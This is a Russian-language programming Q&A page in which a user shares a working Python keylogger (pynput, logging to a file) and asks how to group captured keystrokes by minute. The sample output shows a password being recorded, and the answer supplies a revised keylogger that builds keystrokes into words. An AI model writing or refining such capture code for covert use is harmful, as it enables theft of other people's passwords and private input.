Как объединить вывод в одну строку в программе кейлоггер? - PullRequest
0 голосов
/ 07 мая 2018
from pynput.keyboard import Key, Listener
import logging

log_dir = "C:/Users/noswear/Desktop/Mail/"

logging.basicConfig(filename = (log_dir + "key_log.txt"),level = logging.DEBUG, format  = '%(asctime)s:%(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press = on_press) as listener:
    listener.join()

Вышеприведенная программа выдает следующий результат:

2018-05-07 20:54:56,020:'m'
2018-05-07 20:54:57,010:Key.backspace
2018-05-07 20:55:00,192:'p'
2018-05-07 20:55:00,366:'a'
2018-05-07 20:55:00,485:'s'
2018-05-07 20:55:00,695:'s'
2018-05-07 20:55:01,432:'w'
2018-05-07 20:55:01,653:'o'
2018-05-07 20:55:01,857:'r'
2018-05-07 20:55:02,056:'d'

Как я могу клубиться по минутам, где все удары в минуту хранятся в одной строке?

Как то так

2018-05-07 20:54:mKey.backspace
2018-05-17 20:55:password

1 Ответ

0 голосов
/ 07 мая 2018

ИМХО: Определить по времени немного сложно и некрасиво читать по словам, но подумайте, что если вы захотите обработать это позже, процедурные по словам будут проще. Это просто предложение!

from pynput.keyboard import Key, Listener
import logging

chain = ""

logging.basicConfig(filename = ("key_log.txt"),level = logging.DEBUG,     format  = '%(asctime)s:%(message)s')

def on_press(key):
    global chain
    k = str(key)
    if(k[0:2] == "u'"): # using the pattern that pynput uses we can determine when a letter is pressed
        chain += k[2:3]
    else:
        logging.info(str(chain) + " " + k)
        chain = "" # set the chain again to empty


with Listener(on_press = on_press) as listener:
    listener.join()
...